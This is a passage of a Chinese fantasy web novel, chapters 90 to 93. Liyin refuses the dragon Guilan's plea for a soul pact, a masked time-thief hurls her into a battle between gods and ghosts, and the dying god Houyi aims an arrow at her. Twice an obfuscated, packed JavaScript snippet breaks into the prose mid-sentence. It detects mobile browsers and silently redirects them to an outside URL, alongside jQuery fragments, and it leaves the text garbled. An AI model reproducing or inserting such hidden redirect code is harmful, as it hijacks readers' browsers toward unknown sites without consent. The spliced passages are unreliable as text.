对无关紧要之人,璃音从来都有一副很能冷硬下来的心肠,谁要在她跟前哭闹,可千万别指望她能有什么哄人的温言软语,她只会嫌吵,捂着耳朵皱着眉,就默默走远,给自己求个耳根清净。 她从前不让归岚哭,虽把话说得温柔,但其中凉薄,真能把那万年不化的东海冰晶都衬得暖了。 而此时的归岚胡乱掉着泪,又胡乱用手背继续抹着,原来父亲不是自己要变坏的,他只是“病了”,他也曾那样竭力地想要坚守住本心,只是那病害了他,害他不得不变成一条只知杀人嗜血的魔龙。 心里压了百年的一道重负狠狠卸下的同时,归岚却又陷入了更大更深的绝望之中。 因为这团记忆所揭示出的谜底,远远不止这一道。 “是不死药。”归岚缓抬起眸,他的眼底一片空茫晦暗,既是了然,亦是木然,他深吸一口气,“爹和我,都吃过西王母赐下的不死药。” “神魔交战之后,西王母怜我神龙一族凋零,暗暗赐了族中一颗不死药,长辈们怜我最是年幼,最终谁也不肯吃,只省给了我。” 原来如此。 璃音恍然。 西王母暗中赐药的举动也不难理解,神魔一役,战况惨烈,各族都有伤亡,不死药就那么几颗,无论给了谁,都势必要惹来别族的眼热甚至哄抢,是以自那之后,都是低调赐药,不再让旁人知晓了。 如此一来,归岚的症状,魔龙的不死之身,他藏匿落日神弓的动机……所有这些在璃音之前的猜想中缺失的边角,如今全都严丝合缝地对上了。 一切的一切,追根溯源,兜兜转转,竟还是回到了玉横身上。 那造孽的小葫芦! “他们把活命的机会留给了我,可我,可我却……”归岚眼中心中都有什么东西在急速崩塌,泪珠终于放肆地砸下。 在全族的殷殷期盼中成长起来的小神君,被灌进全族唯一能够救命的那一颗药,被寄予厚望,也被寄予无限爱怜,只为他能替他们好好活下去的小神君……却偏偏活成了这样。 他感到那样羞愧,那样的无地自容,可心里又是那样的委屈,仿佛这一切都是他的错,可他又实在不知道自己做错了什么。 他能随手掀开巨浪,亦能一个摆尾,便平息惊天怒涛,他能在任何一处深海任意驰骋,但在这片玩笑一般的命运之海中,他却像一个溺水的凡人,抓不到哪怕一根救命的浮木,只能任风浪席卷,无助浮沉。 他需要透气,需要喘息,可掌心中的玉人并没有给他喘息的时间。 “所以,你想好了吗?”璃音仍旧拽着归岚那一绺须发,动作也依旧轻柔,她甚至冲他笑了一下,可那笑里却无一丝怜悯与柔情,“你若想好了什么时候去死的话,我们倒是可以结个伴。” 91. 第90章 魂契 璃音也没太在乎归岚会给出怎样的答案,既已藏弓于此,他的选择几乎是不言而喻的了。 无非是凭什么,不甘心,不想死…… 命运对这位神龙一族的小神君太过残忍,若她只是途经此处,听闻这样故事,遇上了,手头有办法,那也真会捞他一把,救上一救。但可惜,他们随波沉浮在同一片残忍的命运之海中,她自救尚且不能,哪里还有余力再给他抛出什么救命稻草呢。 总之,落日神弓她是一定要带走的,她和归岚,也是一定要死的。 说是在问归岚想好了没,但璃音也只是在给他最后一次机会,给他机会,为自己挑选一个体面些的死法。 那么至少她会陪他一起,叫他不要那么害怕,那么孤单,有彼此相伴,黄泉路上也能热闹些。 可归岚听了她这结伴赴死的提议,怔忡一瞬之后,竟没说好,也没说不好,看她笑了,便就静静看了一会,良久,突然心中大石落下似的,一抿唇,竟也有些欢喜地笑了。 “阿璃。” 他温声唤着她的名字,单手叩印,心头魂链骤亮,将璃音原本沉睡在东海冰晶之上的本体直接召来了身前。 能随时随心召唤出魂链另一端拴束着的“奴隶”,这是他身为“主人”的特权。 其实魂链的再进一步,或者说它的终极形态,便是魂契,也就是众仙家都十分熟稔的所谓“认主”。缔结魂契,乃是双方甘愿无悔的一场认主仪式,因着你情我愿,故而这仪式虽效力高,约束力强,实施起来却十分容易。而魂链本就是缔结魂契不成,退而求其次的强制手段,正因着强制,才反而难修。 但一旦修成,便能纵情享受所有作为主人的权利了,比如现在的归岚。 璃音就用附身在碧玉小人之中的这一缕神魂,冷眼看着归岚将闭目昏睡的那个自己唤醒。 然后便是青玉小人手眼垂下,本体苏醒,神魂合一。 已是岁底深冬,渊海澄冰,浩波茫茫。 璃音的本体在湿冷海水中醒来,她定了定神,掀眼去望身前眉目清隽,笑容温软的青年,眼中杀意尽显。 事已至此,该给的真相都给了,该问的话也都问透了,在他面前,她不想,也没那个必要再做任何掩藏。 都说魂链坚不可摧,灵仆的意志被压死,绝无叛主逃离的可能。 可是不试一试,又怎么知道就不可能?她既能从云卿手中夺下玉横,就未必不能从归岚手中夺下自己。 那就让她来试一试,试着来做这逆主挣脱的第一人吧。 “归岚……” 璃音双手叩动魂印,掌中赤红荧光浮起,她一双眸子红而清透,危险,又偏有种能宁定人心的力量,她定定看着归岚,语调仍是和缓,竟像是在哄:“和我死在一起,不好吗?我会永远陪在你身边的,与你同生,与你共死,我不会让你孤单一人,你当真不情愿吗?” 就在这最后还能清醒的一段时光里彼此相伴,做世上最无间的亲人,看看山,看看海,也看看彼此,到了日子,便一起笑着,携手共归神魂于天地,这样有什么不好,难道不比去当一条丧失神志、只知吃人的魔龙快活吗? 可若能被她这样轻飘飘几句话就说动,魔龙便也不会成为魔龙了吧。 她活过一世,犯过大错,回过头来,才知道保有这一身清名的好处与自在,可归岚尚且活在他的第一世,活在他的委屈与无辜之中,他只会想尽可能地活下去,不会懂得这些。 总是因为想要的比这更多,总是心存那一点自负与侥幸,觉得自己能控制得住,觉得自己不会变成那样,最后才会成为魔龙的。 果然归岚静静听完她的游说,仍只是抿唇看着她,不吭声,不说话,一手抬起,指腹轻压,便要去拨动魂链。 璃音眸色沉下,掌中红芒陡盛,赤色光焰蛰伏在心口那条锁链的底端,像一只蹲守于此、绷紧后腿、蓄势待发的血狮,它已张开血盆巨口,只待对方轻轻一拨那心链,便要蹬足狂奔,反吞而上。 所谓魂术,拼到最后,其实拼的就是意志力,幸好,她别的本事不多,就是一股子能跟人耗到天荒地老的拗劲儿强大。 她能跟人耗生耗死,把玉横都耗得彻底没了脾气,现在的归岚说到底不过一条还未成器的小魔龙,真要论起邪性,恐怕还不及她身上的万分之一,她有什么耗不起的。 魂链在这一端被青年长指拨动的同时,拴束在少女身上的另一端亦是赤芒暴涨,那红光艳过滚血,带着能倒卷山海的威势,对准这链条的主人侵吞奔袭而去。 只等两道盛光相撞,最后谁吞下了谁,谁就是新的主人。 眼看那赤红风暴呼啸着席卷而来,归岚却忽地眉眼稍弯,捻弄魂链的指尖停下,便任由那红芒凶猛无情地贯入了他的胸口,然后攀绞上里面那颗脆弱跳动的心脏,残忍地穿刺、盘附、折磨、最后占领。 “你……” 璃音不可置信地睁圆了双目,她没料到归岚竟不作任何抵抗,进攻的魂力一顿。 他究竟想要做什么? “别停。” 青年却眼底澈亮,甚而闪出激动而满足的水光,像某个企盼太久的心愿终于快要实现,他转动腕骨,握上那条终于调换了主人的心链,掌中幽暗绿光浮起,追寻着那道炽烈红芒,缱绻地缠绕而上。 “归岚,快住手!” 璃音惊得声音都变了调,她终于知道归岚想要什么了,忙收敛掌印,带着少见的狼狈,挥动赤芒急撤,左躲右闪地避着那些向自己温柔包裹而来的幽绿光晕,她冲归岚大声叫着,试图以此唤回他的一丝理智:“你知道自己在做什么吗?!” “我知道。”归岚指尖绿光不退,眼神渴求地锁住眼前的少女,“与你同生,与你共死。” 是她之前的那个提议,他接受了。 璃音不是没想过他会接受,只是绝对不曾想过他会要以这种方式…… 幽暗绿芒朝着她被赤红灵泽严防死守住的心口寸寸逼近,再近不得时,便抵靠在那里,轻灵和缓地一下下叩着,像要努力叩开一扇执拗着不肯向他敞开的门。 “阿璃,拴住我吧。”归岚看着她,那种目光,是希冀,是恳求,是坚定到决意抛却一切的臣服,“像拴住那个葫芦那样,拴住我吧。” 不是像他之前把她拴住那样,而是要她拴住玉横那样,把他拴住。 他向她索求的不是魂链,而是魂契。 缔结魂契,天地共证,自此万载累世,沧海桑田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14285806|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不止,日月倒悬不歇,永生永世,绝无二心,奉她为主,供她驱策。 这是真正无可反悔,这世上最最永恒而牢固的羁绊。 这位神龙一族最是矜贵的小神君,正乞求着要向她认主。 但这样的灵兽,她可要不起。 璃音深吸一口气,拒绝得十万分干脆:“是生是死我都可以陪你,但唯独这个,不可以。” 她自然明白归岚揣着的是什么心思。 若不是她,若换作任何一位心境澄明的仙子神君,向他人认主,这未尝不是一个好办法。借以另一道不可违抗的意志来压制心中邪念,是个偷了点懒,但终于可以让自己喘口气,自在活上一活的好办法。 她和玉横便就是如此的。 她也曾天真地以为自己厉害,能净化玉横这样魔性难消的灵器,为此也没少偷偷得意过。 但结果又如何呢? 上一世她的下场便已给出了答案。 归岚定是在猰貐神尊的那段记忆中,看到了玉横对她俯首帖耳的模样,才起了这个心思的。 他在向她求救。 只可惜他只看到了故事中最温馨的片段,却不晓得那个残酷的结局。 璃音凝目望着归岚,无比郑重地告诉他:“归岚,我做不到。” 不是不想帮他,是做不到,真的做不到,至少她做不到。 但办法确实是个好办法,按着这个思路,未必不可破局,璃音向归岚给出更好的提议:“你可以找别人……” 归岚撇过头去,想也不想地将她的话打断:“我只要你,除了你,我不要任何人来做我的主。” 璃音不说话了,她如何不明白,平日里表现得再温和无害,但龙族小神君终归也有他的傲气,他愿向她折膝认主,也是因着她体内猰貐神尊的这一点血脉,对归岚来说,向她认主,以后听她的话时,便大可以当成是在听父亲的吩咐,在心理上也就没那么难以接受。 但换作别人就不一样了。 什么人能踩在神龙一族的小神君头上呼来喝去。 想都不要想。 而就在璃音想这事想得万分头痛之际,就在两人身侧不到尺许的地方,在东海最是静谧难寻的深渊之底,竟猛地旋起一股巨浪。 那浪不似被任何外力推涌而来,而是涡流狂涌,好像整个空间突然被什么东西搅动着撕裂开来,扭曲,蠕颤,仿佛这一坨海水正在痉挛。 璃音只看了一眼,当即合掌叩印,庞大的护心结界自掌心撑起,将自己、归岚、落日神弓与昏睡着的后羿神君都裹覆其中。 她在这东西手下吃过一次大亏,绝不肯再让对方得逞第二次。 这次来的人不知与上次是不是同一个,但一定是同一伙。 同一伙时空窃贼。 而若说上一次那偷画贼的目的还叫人猜疑不定,那这一次又出现在这里,想要什么,便是确凿无疑了。 归岚对海中的任何动静反应都快,一掌疾挥,周身海水便向着那处奔涌急聚,以漩涡吞噬漩涡,形成一个巨大的水牢,将那玩意罩了个密不透风。 他靠向璃音,警惕地问:“是什么?” “昆仑镜。”璃音冷静吐字,“有人冲着弓来了。” 92. 第91章 阴晴不定 在揽华公主殿中对上偷画贼的那一次,是璃音人生中少有的败绩,来到这个时空之后,每每夜深人静之时,她都没少盘着腿、沉着心思复盘。 麻烦的不是那伙窃贼,而是他们手里的那些神镜残片。凭借昆仑镜在手,对面根本不惧怕某一次的输赢,一局输了,便将这一局重开,而且一面输,一面就摸透了你攻击的路子,寻你的破绽,再把这些东西带去新开的一局,打你个措手不及。 完全作弊的打法。 也不怪上次她和摇光都被那样摆了一道。 委实难对付得很。 如今璃音各种本命不本命的法宝皆不在身边,赤手空拳,应对起来,便更是棘手。 但好在与云卿麾下数万阴兵的那一战,在差点烧干她全身血液的同时,倒也激发了她的一些灵感。 她飞快扫一眼身后被厚重寒冰冻住的落日神弓,向归岚道:“其它什么都不必管,一会儿不管出来什么人,出来几个,按住他们身上所有的镜子。” 说罢,看归岚点过了头,便双掌一错一合,十指翻缠,再一次结出了那个繁复至极的血灵大印。 红芒再起,体内血液腾沸,稀薄血雾冲破血管,自她周身漫出,熟悉的灼痛感袭来,璃音压下一声闷哼,指骨迅疾缠转,掌印便也随之灵动变换。 青光交替着赤芒,自她掌心迸泻而出,如千万根张向四面八方的血络筋脉,将原本松散围漾在她身边的那些小小血珠一颗颗串起、牵拽、扭扯,像一丛若有似无的青赤色水藻,被牵扯抓捏着摆弄成各种符文的模样,而后迅速定格,成阵。 血阵既成,璃音撤去掌印,指尖轻弹,阵法便如血色涟漪一般,一圈一圈向四周散荡开去,血雾越散越薄,最后肉眼终再看不见,全然隐没进了漫无边际的湿冷海水之中。 对面有可以倒转时空的昆仑镜,她也有这上古复原大阵,只是以前的阵法过于死板,如今她以自身血灵入阵,便可阵随意动,肆意放缩,随身来去。 若再辅以北斗星辰之力,那么时空亦可随心倒转,一点不输什么昆仑镜,只是对施阵者的损耗着实大了些,身上也着实痛了一些。 做完这些,那团宛如痉挛的时空裂隙也开得差不多了。 只听熟悉的“啵”的一声,仍是如鱼嘴吐泡,只这次没再从那团扭颤不止的涡流中吐出一个黑衣人,而是吐出了一个银甲银面、身形骨架都明显比上次高大出许多的人,且看着应该是个男人。 归岚立时变了脸色。 璃音见着那人身上的万龙甲,也是一怔。 黑衣黑帽黑布巾变作了闪着银白碎光的万龙甲,但有一点没变,这人仍是把自己从头到脚遮了个严严实实,见不得光似的,只向外露出了一双眼睛。 一双叫璃音怎么看,怎么熟悉,却就是想不起来是谁的眼睛。 她也不是脸盲,只是再熟悉的人,把五官一一掰扯开,单独指着,要她去辨认个谁是谁出来,也多少有点难为人了。 这世上,仅凭着任意一处五官都能叫她笃定认出来的人,恐怕只有小七了。毕竟那些地方,是她用眼睛、用指腹、用嘴唇,都细细描摹认识过的,和只用眼睛熟识过的,到底还是不一样。 但她也可以确认这不是云卿的眼睛,云卿那双总是半眯不眯的狭长凤眸太过阴湿惹眼,阴湿到叫人过目便即难忘,她也确实没忘。 这薄薄的一层银甲裹在这人身上,和云卿穿出的效果也是截然不同,他长身长腿,筋骨匀健,银甲覆身,显得极是英武,全无云卿那股子纤细瘦弱。 银甲银面,却不是云卿,那么现在冒出来的这个人,是谁? 而当他幽静的视线射来,与璃音探究的眸光对上的那一霎,璃音清晰捕捉到了他眼底一掠而过的刹那怔然。 是熟人,绝对! 而那一抹怔然很快就被更多更微妙的情绪盖过,微妙到璃音几乎读不懂他的眼神。 她只知道那绝不是爱,但好像又不是纯粹的恨,他也并没有将过多的情绪外放,而是将它们压得很深,就压在那漆黑一点的瞳孔里,寂冷无声地将她望着。 望得她有一瞬的悚然。 他想杀她。 这是璃音从他的眼神中,唯一明确读懂了的东西。 璃音被这熟悉的眼睛和暗藏杀意的视线搅得心神微乱,但手上戒备不减,趁他走出时空裂隙这几步的时间,防护结界暗暗往外撑了一层又一层。 眼看那人再有一步就要迈出水牢结界,归岚抬袖轻挥,流动的水牢外层立刻凝滞冻霜,很快便又爬覆上了厚厚一层坚冰,水牢顷刻成了冰狱,被冻得方方正正,只那冰块里面依然是水,拱涌着将那不速之客缠裹其中。 步势被冰层一阻,那人便也干脆停了下来,只他的目光透过冷冰,也淬了层寒意,死死地锁在璃音身上。 璃音迎着他不大友善的视线,适才心中荡起的那一点小小波澜却已完全平复了下去,前世想要杀了她,恨不能将她千刀万剐的人,没有一千,也有八百,所以这人眸光中的那点杀气,很快就被她彻底消化掉了。 只不过既是熟人,那就还是先问清来意,来个先礼后兵为好。 自己有复原血阵傍身,便多了底牌,走错了棋也有退路,她尽可以大着胆子试探,摸出对面越多的信息和破绽,才对己方越是有利。 于是她指骨微动,就在那人面前,将个手印虚虚叩了叩,笑道:“阁下何不先与我们通个姓名来意,也免得误伤。” 男人脸上的面具比之云卿那张遮得更为严实,向外泄不出一丝表情,但璃音就是知道他笑了。 他也很快就用一声轻笑证实了这点,那笑声很轻,也很温柔,没一点阴阳怪气的意思,连带着眼神也温和下来,好像刚才眼底的那些杀意都只是璃音的错觉,他笑完后,就抬指向璃音身后比了比,温声道:“来拿那个。” 说完来意,他缓缓收了收手指,又向璃音道:“你呢,怎么在这里?” 咬字亲昵,仿佛一句家常絮语。 璃音能听出这嗓音刻意被灵流压过,改变了原本的声线,称呼也只用“你”,避开了任何会暴露身份的叫法,只余下那一点温和轻缓的调调,这调调她似乎也是熟悉的,但就是一时辨认不出此人究竟是谁。 “我也来拿这个。”璃音用手指戳戳身后落日神弓的方向,也笑吟吟地看他,一副打商量的口吻,“能让给我吗?” 然而这话却不知蓦地里踩中了男人的哪根神经,眼底温和骤散,只一瞬,就在里面掀起嫉怒的风暴,他左手怒极挥出,灵流奔泄,咔嚓一声脆响,原本方方正正的一座寒冰冷狱就像被一把无形的巨刃劈开,切面整齐地碎作两半,向着两边无声倒下。 接着他五指往虚空中一拢,砰—— 水球爆裂,归岚丢下的结界被彻底碾碎,而那人自始至终,只是抬了抬手。 好深厚霸道的灵力! 只他没用武器,暂时看不出修的是什么路子。 璃音和归岚对视一眼,随即一个结掌叩印,一个右手疾握,凌空握出一柄冰剑,执于手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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归岚只觉一道清音在脑海神识中狠狠一荡,戾意被压下,神智立刻回笼。 而少女被人掐着脖子,不挣不闹,也不见半点惊惶,只是用琉璃般透亮的眸子盯着那人,开口道:“你从前,受过很多苦么?” 那人掐着璃音的指骨微顿,瞳孔骤然一缩。 如此熟悉的、关切的语调。 可这样动动嘴皮子的关心于他而言,根本一文不值。 更别提这丫头心思多得很,她对一个正掐着自己脖子的人,可不会有这样的好心。 果然,少女说罢上面那句,便轻轻歪一歪头,状似不解地道:“可是你看,你现在若是不打我,我一会儿就不会打你,但你掐我了,我就只好报复回来,所以,你之前受的什么苦我不知道,但你待会儿挨打的苦,肯定是自找的。” 男人闻言,突然着了魔般大笑起来:“我自找的,哈哈,好一个我自找的。” “好,都是我自找的,你既来了这里,那我的苦,便叫你也来尝一尝!” 然后恶狠狠掐紧了少女的喉咙,就这么拽着她望上疾冲,冲破层层厚海,跃出海面,穿云而上,竟是直奔九重天而去。 璃音仍是任他掐拽,狂风呼啸在耳际,她却只在心里想着:看来这人比起拿走落日神弓,终归还是想杀了她的心更强烈一些呢。 她盯着那身银甲看了又看,想了又想,却还是想不出来,她前世加上今生,究竟是得罪了九重天上的哪位大仙? 93. 第92章 神弓棒槌 “他要做什么都随他去,等会儿无论发生什么,别慌,跟紧我,死不了。” 归岚一直牢记着璃音的这一条叮嘱,于是眼见银甲人挟了少女直奔而出,他也未作惶然,即刻化出龙身,巨大的龙尾朝那落日神弓重重一拍,冻覆其上的坚厚寒冰登时粉碎,接着龙尾一卷一放,便把神弓与它沉眠了二十年未醒的主人都负上龙背,载着这一人一弓,劈浪疾奔,冲出海面,腾跃而上。 今日寒风未起,碧海沉静,无波海面之上浮动着点点日光投射下来的碎金,再往上,便是只铺了淡淡一层薄云的澄空万里,看起来很是时光静好,馨然宁定。 然而归岚却知道,一旦穿过那浅淡雪白的云层,在那万里澄空之上,便全然是另一番无间炼狱般的景象了。 他的族人,便在这不长不短的几十年里,几乎都死在了那处炼狱之中。 但他没有片刻犹疑,寻着视线中少女渐远的身影,便低吼一声,冲破云层,疾追而上。 立时一阵浓厚的血腥气味扑鼻,颊上很快被溅落几滴温热的血点,一截不知是人是兽的断肢擦着他的龙身掉下,又被云层吞噬。原本只有呼呼风声的耳边,此时亦被灌进了兵刃相交的铮铮声响、纷杂错乱的喊杀之声、以及声声刺耳的尖厉凄啸。 九重天上,阴兵压境,万鬼嚎哭,它们如同杀不尽的蝗蚁,铺天盖地,席卷不休,数量上的碾压,使得数十数百的阴鬼往往向着同一个小小天兵飞扑齐上,肆意撕咬,争相啃食,只一下,便再瞧不见那小兵的身影,只能看见四碎的残肢肉块,和雾气般喷散在空中的一片血红。 但下一息,又有满身铠甲的神将挟凌厉剑光破开血雾,劈荡而来,方才还张牙舞爪的那群阴鬼登时抱头鼠窜,凄声狂呼不绝。 身披银甲的男人一手翻转过璃音的身子,按住她肩膀,另一手仍自身后狠掐住少女的脖颈,迫着她将眼前这修罗地狱的每一寸,都清清楚楚地收入眼底。 “难道他们受的这些苦,也都是自找的吗?” 龙鳞制成的指套坚实冷硬,随着男人指骨的不断收拢,很快便在璃音颈侧掐出一道道刺目的红痕,男人附在少女耳边,讥声道:“那么你记住,今天你要死在这里,也是你自找的!” 说罢,再一次携少女提身疾上,跃至高空,接着掐在少女脖子上的五指突然一松,掌心猛地推出,向下重重一掌击在璃音后背,便毫不留情地将她扔入了下方宛若炼狱的神魔战场之中。 璃音只觉喉头一甜,有鲜血自口中溢出,身子被男人狠力拍落,向下急坠,立时有阴鬼嗅到此处气味,厉声嘶叫,成群结队,向她狂扑而来。 这时她忽听得下方一声龙啸,一人一龙心链感应之下,无需赘言,当即巨龙奋身上跃,少女疾转旋身,璃音左足在此时恰至的龙背上轻灵一点,借力跃起,双掌飞速击合,叩印,护身结界便如一把巨伞砰然撑开,狰狞恶鬼袭扑正至,便被飞弹而出,登时震了个魂飞魄散,烟灭灰飞。 璃音轻巧落在龙背之上,回身一望,见神弓神君俱在,弯眼一笑,拍了拍归岚高高昂起的龙首,道:“好归岚,做得好,来得正是时候。” 青龙当即一甩尾巴,乖巧地嘶出一声龙吟。 璃音抬头再望,正好就望见那银甲男人的身影消失在一团痉挛的时空裂隙之中。 璃音微怔。 他就这么走了? 他分明是为夺弓而来,如今神弓尚在,他却就这么走了? 还有,他究竟在恼恨她什么? 他所要她共情的这番苦,又是站在谁的立场之上,是为着天兵,还是为着鬼兵呢? 而璃音却只觉得这战场之上无一人不苦,但在双方谁也不肯退让之时,要止戈,便只有一方打服另一方,而越是想要止戈止得彻底,就越是只能苦打对方打得服帖,很残酷,但也只能如此。 但他们此时受的这些苦也并非全无意义,这场大战之后,云卿虽死,却为往后的冥吏们争取到了他真正想要争取的那些东西,九重天上也迎来了往后数百年的宁静祥和。 但这会儿也容不得璃音多发感想,她的视线很快就被黑压压的大群阴鬼遮蔽,数不清的鬼兵前赴后继,鬼吼鬼叫,狂扑撕咬她的护身结界,震死一批,又立马有新的一批补上。 扑上来的厉鬼仿佛永远没有穷尽,也比在凡间偷袭慕璟明的那些要精强得多,再厉害的结界,也经不住它们这样无休无止、不要命似的狂击猛撞。 归岚载着璃音一路左冲右突,欲带她离开此处,但他也知道,一旦被这些东西缠上,不杀光,就根本没有脱身的可能。 结界终于被撞出一处松动,归岚的龙腹之上很快就被厉鬼尖利的指甲抓出一道深重血痕。 听到他一声闷哼,璃音立时又补上厚厚一层结界,她感应到归岚渐躁的心绪,道:“今天这场硬仗,我们是跑不掉了,是么?” 归岚一口咬碎数十个阴鬼的脑袋,低啸一声,给出了肯定的回应。 璃音一面结阵驱鬼,一面恍然,难怪那银甲男人万里迢迢跨了时空而来,却在因一时激愤把她丢来这里之后,落日神弓也再顾不上来抢,就先跑得没影了。他竟果真恨她到如此地步,宁可放弃取弓,也要她死在这里。 她有一次机会,可以将时空复原至银甲男人刚刚打开时空裂隙的时候,但一番思索之后,璃音不打算用了。 对付那个男人,也不见得就比对付恶鬼容易,而至少现在这个局面,神弓是在她的手上,这才是最重要的。 但眼下困局也不易解,她此刻尚能支撑,但灵力总有耗尽的时候,如今玉横不在身边,她不过一人双拳,要如何诛尽这无尽恶鬼? 她是死不了,但她与破军约定好的归期在即,可绝不能再负重伤,去哪里昏睡个两年了,她必须要在春日里带着落日神弓回去,去好好完成宴饮图中所画的历史的最后一处闭环。 那样,她此行的任务便就圆满达成,可以离开这个时空了。 破军每日问着她回王都的日子,而她每日盼着的,却是自己终于能回去九百年后的那个日子,她本就不属于这里,唯一的牵挂也不再需要她的牵挂,她真的太想离开这个不属于自己的时空了。 正思忖间,忽有一鬼举着柄钢叉穿破结界,迎面便向她刺来,情急之下,璃音无暇多想,一把摸出身后的落日神弓,她情知自己并非神弓之主,拉不动这弓弦,便也不将这神弓当弓来使,只以弓背挥击格挡,一下便连叉带鬼敲了个粉碎。 即便聚不出掠魂摄魄的灵箭,也不妨碍神弓本身便是一把驱邪神木,坚硬凛然,神威俱在,实是个用来敲鬼脑壳的好 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说着,她修补好结界,便单手叩出兰花印,去后羿神君的灵台上轻轻敲了一敲。 神识尚在,虽已是强弩之末,只是靠东海冰晶吊着一口气,恐支撑不了太久了,但确实还没死呢。 传闻中后羿神君是遭了自己的亲传弟子偷袭,毫无防备,数箭穿身,才致重伤而亡的。 璃音看着他身上明显的几处箭伤,不禁发出一声叹息,如此叱咤风云的一代神君,竟就这样即将陨落了,想到前世陨落在昆仑山上的小七,心里更是难过。 璃音在后羿神君灵台上轻轻一叩,温声:“神君,您还有什么未竟的心愿么?” 璃音也只是因想起上一世的摇光,恻隐之心大动,便试探着向那团虚弱的神识问上一问,她救不了他,但若能为他减少一点遗憾,那也是好的。 却不想话音落下,眼前神君的眼皮竟猛地弹开,这可真把璃音结结实实吓了一跳,她不惧神,不畏鬼,唯独就是会被这种一惊一乍骤然出现的东西吓到,当下惊呼一声,身子下意识往后退开。 听到她的呼叫,又感应到她那一瞬的惊惧,归岚忽地痛嘶一声,戾气膨发,横冲直撞间,整个龙身竟不受控制地剧烈抽搐起来。 “不要,你不能死,你不能死……”绝望的呼喊一声接一声顺着心链传来。 他身体不住地痉挛,一时竟连魂链也压制不下。 璃音只觉心头一紧,脑中骤然浮现出一条条巨龙被无尽恶鬼围攻,直至撕裂而亡的场景。 那是归岚的族人在他面前一一阵亡的情景。 璃音知道是此处战场上的地狱景象激出了他的心魔,忙俯身抱住他的龙身,一手轻抚着它背上的鳞甲,安抚道:“没事的,归岚,我没事,没人伤到我,我不会死,我只是被神君睁眼吓了一下,身子好着呢,我死不了。” 归岚龙头回转,双目通红,蕴着无边戾意,冲少女怒吼:“你骗我!你们都骗我!你们都死了,就骗我一个人活着!” “……归岚,定神!”璃音亦被激出赤目,她咬牙控着魂链,像在控着一头随时要冲栅而出的猛兽。 便在此时,一支蓄满灵力的灭魂之箭,缓缓抵上了她的额心。 94. 第93章 她的龙 刚被修补过的护身结界十分牢固,淡青色光屏罩着二人一龙,迅稳流转。 结界外,各路神鬼混战,正斗得激烈,刀光剑影五颜六色地闪作一团,打出一片铮铮当当的乱响,残肢血肉胡乱横飞,就不时拍撞在这层青色屏障上面,撞成一摊血沫,更有数不尽的阴鬼凶煞偏就缠上了此处,狂扑不歇,又被反震弹出,再惨呼长嚎不绝。 而一屏之隔,在少女护持着的结界里面,此时却是死一般的寂然,只一把赤色巨弓红芒大闪,蓄出一支利箭悬空,直指少女额心。 璃音知道,这一箭若是穿脑而过,自己立时便要头颅粉碎,神魂俱灭,然后变作这哄乱吵闹的神魔战场之上的一具无头女尸,一捧血沫碎骨,毫不违和地融进那些血海尸山里面,死在这莫名其妙并不属于她的时空之中。 这么想想还是挺凄凉的,不过嘛…… 死,实在是最难威胁她的东西。 这灭魂一箭,还不如适才神君突如其来的一睁眼来得吓人。 况且,像这样被上古神器指着脑门砍杀,旁人一辈子也遇不上一次的事,她竟已是第二次经历了。 甚至此时想来,当初破军在月牢里那贯心的三剑,竟还算存了些温情的,毕竟留给她的死状要更体面一些。 好歹是个全尸。 而在神箭威压之下,归岚挛搐不止的硕长龙躯总算稍稍宁定了下来,于是璃音心中大石落下,全没在意额间箭矢,反而懈下紧绷的心神和身体,趴伏在龙背之上,缓缓松了一口气。 这样的话,好像万一不小心死在这里也没关系了。 她不怕死,就怕死在名声不好的时候,留下一堆骂名。归岚如今拴在她身上,自然便是她的龙,他若在她手底下失控堕魔,这骂名她自然也要担上一半的。 她望着归岚,可归岚却没在看她,他身体不再抽搐,眼中赤红却不退反盛,向后勾着龙首,一双血红龙眼竖睁,视线跃过璃音,全落在了那位正凝箭而出的神君身上。 归岚想不明白。 心魔难解的是他,戾气难消、发作不停的也是他,该死的明明只有他一个,可那支箭为什么却指在阿璃的身上。 为什么他想要在身边留下一点东西,就总是这么难呢? 他不做贪心的孩子,他已经什么都不要了。 他只是想在自己所剩不多的时光里,要阿璃再多陪一陪他而已。 她是他在这世间仅存的亲人,唯一绝不可再失去的东西。 她休想再死在他的前头! 想到此处,归岚瞳孔微缩,血红色的眸光牢牢锁住那位神君,霎时间,结界内水汽凝结,寒意陡升,一层薄冰悄悄自箭尾攀上了那支燃着灭魂炽焰的灵箭。 这一下,结界内的氛围顿时更加无声地剑拔弩张起来。 后羿神君自是神威浩荡,灵如瀚海,但他神魂衰弱,已近油尽灯枯,此时不过回光返照,勉聚残力,才凝出这一箭。 而归岚心魔鼎盛,催得灵力大涨,为留下眼前少女性命,更是毫无所惧。 那薄冰一点一点向前吞冻,所过之处,灵焰并不熄灭,却就被裹入了霜冰之中,竟渐渐就要成了一支冰箭,只是那冰愈向上爬便愈艰难,眼看就要到得箭头,却终于寸毫难进了。 归岚渐进渐躁,灭火不成,便又控着那冰,强行调转箭头,要将它从少女额前挪开,而指向他巨大的龙首。 相比之下,正被这灭魂一箭指着脑门的璃音,镇定得简直称得上悠闲了。 她默默看着眼前箭上冰火相争的这一番较劲,只见冰融了又上,火矮了又燃,谁也不肯让谁。 正看得起劲,突然灵台间一响,是破军来了:“今日下了一场快雪,院中蜡梅都开了,你何日归家?” 伏在龙背上的璃音微怔。 啊,是了,还有人在等她回家的。 尽管那等着她的也并不是个“人”,而只是一柄剑,一柄和她聊天绝不肯超过三句的高冷渣剑。 